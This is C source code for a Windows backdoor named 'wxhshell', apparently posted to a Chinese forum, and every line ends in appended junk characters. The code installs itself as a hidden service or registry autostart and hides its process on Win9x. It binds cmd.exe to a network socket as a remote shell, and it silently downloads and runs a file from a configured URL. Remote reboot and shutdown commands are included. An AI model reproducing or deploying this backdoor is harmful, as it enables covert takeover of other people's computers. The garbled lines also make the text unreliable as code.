  case '?': { EaKbG>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CWa~~h<r-  
    break; W*r1Sy  
  } gAr=fq-|  
  // 安装 Q:U>nm>xA  
  case 'i': { {@ Z=b 5/P  
    if(Install()) C2C 1 @=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;b_l/T(  
    else kwUy^"O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %00cC~}4  
    break; qPoN 8>.  
    } D`R~d;U~  
  // 卸载 t-Uo  
  case 'r': { .,F`*JVFq  
    if(Uninstall())  ) fQ1U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 1vI  
    else s w{e |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3?e~J"WXC5  
    break; nrg$V>pD  
    } bs0[ a 1/  
  // 显示 wxhshell 所在路径 QJ+Ml  
  case 'p': { nh*6`5yj  
    char svExeFile[MAX_PATH]; jss.j~8  
    strcpy(svExeFile,"\n\r"); L7]o^p{g}Q  
      strcat(svExeFile,ExeFile); IG&twJR  
        send(wsh,svExeFile,strlen(svExeFile),0); Y_)xytJ$  
    break; +{0v@6<(02  
    } ![9$ru  
  // 重启 V1haAP[#  
  case 'b': { 9yz@hdG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %{-r'Yi%  
    if(Boot(REBOOT)) S)?N6sz%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (hEg&@  
    else { G=]ox*BY  
    closesocket(wsh); b]  
    ExitThread(0); Q5lt[2Zyzd  
    } %JgdLnQE  
    break;  aWPf3Q  
    } 0SQrz$y  
  // 关机 P=PeWX*L<Z  
  case 'd': { \SoT^PW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6_:I~TTX  
    if(Boot(SHUTDOWN)) C^;>HAK|F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1nw\?r2  
    else { 1tLEKSo+  
    closesocket(wsh);  AGm=0Om  
    ExitThread(0); E]v?:!!ds  
    } ?GlXxx=eV  
    break; c8Q}m(bhWI  
    } \E[6wB>uN%  
  // 获取shell I{h KN V  
  case 's': { C1+f\A|9FP  
    CmdShell(wsh); xZ6x`BET-  
    closesocket(wsh); s/.P/g%tA>  
    ExitThread(0); cK >^8T^  
    break; BeN]D  
  } jZC[_p;  
  // 退出 *{P/3yH  
  case 'x': { Eh)VT{vp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?O3d Sxi  
    CloseIt(wsh); \m%c"'[  
    break; r<4j;"lQK  
    } vK[%c A"  
  // 离开 +g kJrw  
  case 'q': { ec`re+1r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :w!hkUx#  
    closesocket(wsh); uT'l.*W6i  
    WSACleanup(); iEZ+Znon  
    exit(1); V[uSo$k+>  
    break; zj(V\y&H  
        } -jy0Kl/p  
  } q2s0g*z  
  } 0#DEh|?  
.izq}q*P   
  // 提示信息 Gw\..O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vzFp Xdt  
} ]ly" K!1,  
  } 3 z(4axH'  
SJ<v< B  
  return; m./PRV1$x  
} b,YNCb]H  
{?5iK1|}K  
// shell模块句柄 W7 dSx  
int CmdShell(SOCKET sock) Z.u 1Dz  
{ KyfH8Na?  
STARTUPINFO si; QF\nf_X  
ZeroMemory(&si,sizeof(si)); [!yA#{xl,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QxdC[t$Lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :>2wVN&\c  
PROCESS_INFORMATION ProcessInfo; {x.0Yh7  
char cmdline[]="cmd"; J-Tiwl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IlB8~{p_  
  return 0; @qan&?-Y  
} ?q9] H5\  
XWnP(C9?  
// 自身启动模式 *$W&jfW  
int StartFromService(void) Wz s=BNm9  
{ gWGDm~+  
typedef struct Cp mT *  
{ 8ZVQM7O  
  DWORD ExitStatus; (=Cb)/s0  
  DWORD PebBaseAddress; 3g;,  
  DWORD AffinityMask; ;//9,x9;t  
  DWORD BasePriority; @)uV Fw"\  
  ULONG UniqueProcessId;  '2*OrY  
  ULONG InheritedFromUniqueProcessId; j *G: 8Lg  
}   PROCESS_BASIC_INFORMATION; ZQ_6I}i")  
LWT\1#  
PROCNTQSIP NtQueryInformationProcess; rBNVI;JZW  
3@Mh* \;\b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .{h"0<x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JEp)8{.bW8  
;na%*G`  
  HANDLE             hProcess; v}6iI}r  
  PROCESS_BASIC_INFORMATION pbi; MhD'  
d"9tP& Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w3(|A> s3  
  if(NULL == hInst ) return 0; ]=q auf>3  
3- Kgz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q2vD)r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QDg5B6>$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F nA Kfh(  
A _zCSRF,  
  if (!NtQueryInformationProcess) return 0; Q+T#J9Y  
 7H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N|DI k  
  if(!hProcess) return 0; xo_STLAw  
{r&mNbz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j2MA['{  
2{rWAPHgz  
  CloseHandle(hProcess); m4hkV>$d  
h9H z6 >  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $v;WmYTJ  
if(hProcess==NULL) return 0; ltNC ti{Q  
l/'GbuECm  
HMODULE hMod; $*#^C;7O  
char procName[255]; V#7,vas  
unsigned long cbNeeded; V/ G1C^'/  
f,TW|Y'{g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  !Ld5Y$  
Y\]ZIvTSb  
  CloseHandle(hProcess); c| ^I}  
f1 x&Fk  
if(strstr(procName,"services")) return 1; // 以服务启动 f CU]  
;'n%\*+fHH  
  return 0; // 注册表启动 t{]Ew4Y4%O  
} 6dIPgie3w  
f8:nKb>nq$  
// 主模块 .uJ J<  
int StartWxhshell(LPSTR lpCmdLine) I`V<Sh^Qd  
{ g-sNYd%?a  
  SOCKET wsl; 6<];}M_{  
BOOL val=TRUE; 'Cc~|gOgD  
  int port=0; Tz @=N]D  
  struct sockaddr_in door; > <YU'>%  
C t,p  
  if(wscfg.ws_autoins) Install(); o9eOp3w30  
o P`l)`  
port=atoi(lpCmdLine); l )%PvLbL  
}(nT(9|  
if(port<=0) port=wscfg.ws_port; BDI|z/~&  
qIi \[Ugh  
  WSADATA data; 3a?-UT!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :V'99Esv`  
L kK *.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $tmdE )"&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &b} \).5E  
  door.sin_family = AF_INET; 2RkW/) A9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?\V#^q-  
  door.sin_port = htons(port); E_ns4k#uG  
<fUo@]Lv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1h$?,  
closesocket(wsl); Nz dN4+  
return 1; _,J+b R+b  
} l0Q5q)U1A  
dQ`Tt- n  
  if(listen(wsl,2) == INVALID_SOCKET) { +RooU?Aq  
closesocket(wsl); CP7dn/  
return 1; #PkuCWm6  
} 4IeCb?  
  Wxhshell(wsl); ot}erC2~  
  WSACleanup(); ^&>B,;Wu  
6 VEB2F  
return 0; sA2-3V<t8  
ALMsF2H  
} b$_81i  
? :H+j6+f  
// 以NT服务方式启动 r:H]`Uo'r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `_\KN_-%Vu  
{ (/]'e}  
DWORD   status = 0; FIq'W:q:  
  DWORD   specificError = 0xfffffff; "_WN[jm  
z< %P"   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 s=VU\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `2.c=,S{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (]]hSkE  
  serviceStatus.dwWin32ExitCode     = 0; bZ`v1d (r  
  serviceStatus.dwServiceSpecificExitCode = 0; p'jc=bL E  
  serviceStatus.dwCheckPoint       = 0; 0m_yW$w  
  serviceStatus.dwWaitHint       = 0; w!f2~j~  
V^_A{\GK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _T\~%  
  if (hServiceStatusHandle==0) return; f[o~d`z  
%Ig$:I(o  
status = GetLastError(); 9j 2t|D4uT  
  if (status!=NO_ERROR) &L8RLSfX  
{ x UdF.c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H*W>v[>  
    serviceStatus.dwCheckPoint       = 0; f?5>V   
    serviceStatus.dwWaitHint       = 0; dFz"wvu` o  
    serviceStatus.dwWin32ExitCode     = status; (:l6R9'=  
    serviceStatus.dwServiceSpecificExitCode = specificError; pD{OB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7]VR)VAM  
    return; a'VQegP(f\  
  } o~LJ+m6-)  
qAjtvc2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #h;   
  serviceStatus.dwCheckPoint       = 0; 2-4N)q  
  serviceStatus.dwWaitHint       = 0; SzW;Yb"#^k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D$ds[if$U,  
} "Z@P&jl  
alb3oipOB  
// 处理NT服务事件,比如:启动、停止 #NM)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B!RfPk1B<*  
{ Rta}*  
switch(fdwControl) Y|tHU'x  
{ dseI~}  
case SERVICE_CONTROL_STOP: E+L7[  
  serviceStatus.dwWin32ExitCode = 0; j<^!"_G]*?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Om}9rXw1  
  serviceStatus.dwCheckPoint   = 0; /2K"Mpf8  
  serviceStatus.dwWaitHint     = 0; un "I  
  { (5$Ge$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A?YYR%o%'  
  } K,S4  
  return; T<]{:\*n  
case SERVICE_CONTROL_PAUSE: c9/w{}F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YmljHQP  
  break; o#m31* o  
case SERVICE_CONTROL_CONTINUE: o0r&w;!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZKi&f,:  
  break; O,%UNjx9K  
case SERVICE_CONTROL_INTERROGATE: fJ}e  
  break; Jn hdZa  
}; }3z3GU8Q-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;.h /D4  
} W2{w<<\$3}  
4?pb!@l  
// 标准应用程序主函数 t'_EcYNS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *;Kp"j  
{ vQ< ~-E  
>LPb>t5%p  
// 获取操作系统版本 w:zo \  
OsIsNt=GetOsVer(); YnpN -Y%g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o)I)I/v  
QSaDa@OV  
  // 从命令行安装 ^; KC E  
  if(strpbrk(lpCmdLine,"iI")) Install(); SK}jhm"y  
hj];a,Br&  
  // 下载执行文件 {\>4)TA  
if(wscfg.ws_downexe) { "ku[b\W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z=% j|xE_  
  WinExec(wscfg.ws_filenam,SW_HIDE); -mJs0E*g  
} s#7"ZN  
P(PBOB97  
if(!OsIsNt) { !gI0"p?  
// 如果时win9x,隐藏进程并且设置为注册表启动 *<\ `"C;  
HideProc(); O/eZ1YAC  
StartWxhshell(lpCmdLine); . vHHw@  
} EC,,l'%a|/  
else _`gF%$]b  
  if(StartFromService()) QN8+Uj/zx  
  // 以服务方式启动 7nPg2K&  
  StartServiceCtrlDispatcher(DispatchTable); ,Ee5}#dI  
else -aT-<+?s  
  // 普通方式启动 1V,@uY)s  
  StartWxhshell(lpCmdLine); |k~AGc  
NLZ5 5yo$  
return 0; :s_o'8z7L  
}
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只看该作者 1 发表于: 2006-10-10
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